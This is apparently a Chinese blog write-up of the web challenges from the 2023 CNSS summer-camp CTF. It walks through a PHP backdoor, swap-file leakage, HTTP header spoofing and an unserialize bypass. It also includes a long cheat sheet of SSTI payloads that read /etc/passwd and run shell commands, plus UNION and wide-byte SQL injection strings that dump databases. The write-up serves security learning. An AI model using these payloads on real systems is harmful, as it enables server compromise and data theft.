2023CNSS夏令营

CNSS

1.[Baby] Signln

F12->去掉disabled

2.[Baby] Backdoor

解读php代码,发现要以POST的方式发送请求

步骤:

用hackbar发送请求,

先查看有哪些文件cnss=system(“ls”);

然后cnss=system(“cat 1.php”); 发现flag

最后cnss=system(“cat /flag”);

3.[Easy] Leak

首先涉及到vim泄露的问题,直接/.index.php.swp

然后打开文件,发现以下

于是发出get请求

/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system(“ls”);

发现只有index.php文件

于是/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system(“ls ../..”);

发现以下文件

backups cache lib local lock log mail opt run spool tmp www

没有发现与flag相关的,于是继续,发现了

bin boot dev etc fl4444444g home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var

最后cat即可

?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=system(“cat ../../../fl4444444g”);

吐槽:

在做题时,我还尝试了find / -name “flag*”命令,发现了一堆flags文件,但是找了很多,都是空白的,最后三个甚至还藏了一点东西,里面分别有0x9,0x1003,4655,尝试过把他们拼接作为答案,还尝试了十六进制转十进制,但是都没成功,最后不断的ls文件才发现真正的flag,有一说一,出题人是真的狗

4.[Baby] Webpack

利用google的插件source detector下载.js.map文件,查看即可

5.[Easy] ezhttp

(有用的东西:HTTP headers - HTTP | MDN (mozilla.org))

F12 ,发现只接受CNSS请求,于是bs抓包,将请求方式改为CNSS

response发现只接受安卓微信内置浏览器的请求

于是修改代理,网上可找到安卓微信内置浏览器的代理

进一步发现要要来自cnss.io的请求(Referer)

再进一步发现只接受本机请求(XFF):127.0.0.1

再再进一步发现只接受uestc.edu.cn域名的请求,改host,Host: uestc.edu.cn

再再再进一步发现只接受内容类型为application/json的请求,Content-Type:application/json

再再再再(恼)进一步发现不接受内容长度为0的请求,再上一步的时候,已经不为0了,值是299,

所以发过去的时候显示“你倒是发个json过来啊“,手动设置的话应该为

后面应该有个空行,不知道为什么,没有的话就不行

好,于是要发一个json过去

如图

接着消息是这个

接着是这个,“能在cookie中写入你的名字(name)吗?”

接着是这个,“能在Cookie中写入你的密码(password)吗?”

最后一个消息是“BasicAuth验证失败”

最后成功拿到flag

6.[Easy] ezunserialize

拿到题,对题目进行分析,可得出要发送一个get请求,从而显示flag

直接就是一个序列化+绕过wakeup,发现不对

询问大神,在e神的指点下,发现源代码不对劲,要复制进vscode查看,

于是重新序列化并进行url编码,因为浏览器会将得到的get请求进行一次url解码,最后也是顺利拿到flag

7.[Easy] CNSS Feedback Pre-alpha

来自e神的指点

SSTI注入

以下是一些SSTI基础

1
2
3
4
5
6
7
dict:保存类实例或对象实例的属性变量键值对字典
class:返回调用的参数类型
mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
bases:返回类型列表
subclasses:返回object的子类
init:类的初始化方法
globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
1
2
3
4
5
6
7
8
9
//获取对象类
''.__class__ <class 'str'>
().__class__ <class 'tuple'>
[].__class__ <class 'list'>
"".__class__ <class 'str'>

__ init__方法用于将对象实例化,
__ globals__获取function所处空间下可使用的module、方法以及所有变量。
__ import__动态加载类和函数,也就是导入模块,经常用于导入os模块
1
2
3
4
5
6
//基类
{{''.__class__.__base__}} (<type 'basestring'>,)
类型对象的全部基类,以元组形式,类型的实例通常没有属性
{{''.__class__.__mro__}} 此属性是由类组成的元组,在方法解析期间会基于它来查找基类

[].__class__.__bases__[0] <type 'object'>
1
2
3
4
//返回子类
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[-1].__subclasses__()
可以从返回的子类中找到可以利用的类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#文件读取和写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

#每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}

#命令执行
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

#这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

#system函数换为popen('').read(),需要导入os模块
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

#不需要导入os模块,直接从别的模块调用
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#读文件
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}

#命令执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

#命令执行(变种)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
{% endif %}
{% endfor %}

#读文件(变种)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}
{% endfor %}

最后题解是这样,获取基类,查看子类,找到os.wrap close这一个,初始化,使用函数,找到flag,读取flag

8.[Easy] CNSS Database 1.0

第一步,判断是数字型注入还是字符型注入

比较输入1和输入2-1的结果,不同则为字符型注入

本题目二者相同,故为数字型注入

直接union语句查看页面回显

当输入为

1
-1 union select 1,2,3

时,页面回显不同

1
2
3
4
爆库,-1 union select 1,database(),3
爆表,-1 union select 1,,group_concat(table_name),3 from information_schema.tables where table_schema=database()
爆字段 -1 union select ,group_concat(column_name),3 from information_schema.columns where table_schema='cnss' and table_name='wh3re_1s_fl4g'
爆字段内容 -1 union select 1,group_concat(fulage),3 from cnss.wh3re_1s_fl4g

9.[Mid] CNSS Database 2.0

使用fuzz模糊测试,intruder爆破发现是宽字符注入

单引号被转义,可使用%df绕过是,原理是在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用

·爆库%df' union select 1,database()#

·爆表%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

·爆column%df' union select 1,group_concat(colmun_name) from information_schema.columns where table_schema=database() and where table_name=表名的十六进制形式

·最后爆字段,获得flag

附个不懂原理的方法:–’ union select 1,database()#,后面方法相同


2023CNSS夏令营
http://ikun604.github.io/2023/09/28/CNSS_Summer_WP/
作者
yfz-ikun604
发布于
2023年9月28日
许可协议